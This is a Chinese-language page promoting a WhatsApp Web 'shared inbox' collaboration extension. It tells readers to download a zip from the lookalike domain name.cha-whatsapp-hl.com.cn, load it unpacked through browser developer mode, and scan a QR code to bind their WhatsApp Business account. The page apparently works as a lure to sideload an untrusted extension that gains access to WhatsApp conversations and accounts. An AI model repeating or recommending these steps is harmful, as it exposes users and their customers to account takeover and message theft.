获取 WhatsApp 网页版多客服协作工具
要体验 WhatsApp 网页版与 Business 平台“共享收件箱”团队模式的完整功能，您只需按照以下步骤获取并配置我们的协作扩展工具。该工具将直接嵌入您的浏览器，与 WhatsApp 网页版原生界面无缝对接，无需切换窗口即可完成所有客服协作操作。
下载与安装步骤
- 访问下载中心：在浏览器中打开官网域名 name.cha-whatsapp-hl.com.cn，点击首页顶部的“下载”按钮，获取适用于 Chrome 或 Edge 浏览器的扩展程序安装包。
- 安装扩展：下载完成后，将压缩包解压，并在浏览器地址栏输入
chrome://extensions（或edge://extensions），开启“开发者模式”，选择“加载已解压的扩展程序”，选中解压后的文件夹即可完成安装。 - 绑定 Business 账号：安装成功后，打开 WhatsApp 网页版（web.whatsapp.com），点击工具栏中的协作图标，按照提示扫描二维码，并将您的 Business 平台共享收件箱账号与 WhatsApp 网页版进行关联绑定。
- 邀请团队成员：绑定完成后，您可以在协作面板中生成团队邀请链接，将其他客服人员添加至同一收件箱。所有成员登录 WhatsApp 网页版后，即可看到实时同步的消息状态（未读/已读/已回复）。
系统兼容性说明
当前版本支持 Windows、macOS 及 Linux 操作系统上的主流 Chromium 内核浏览器。为了确保 WhatsApp 网页版与共享收件箱功能的流畅协作，建议将浏览器升级至最新稳定版。如果在安装过程中遇到任何问题，可参考“联系我们”页面获取技术支持。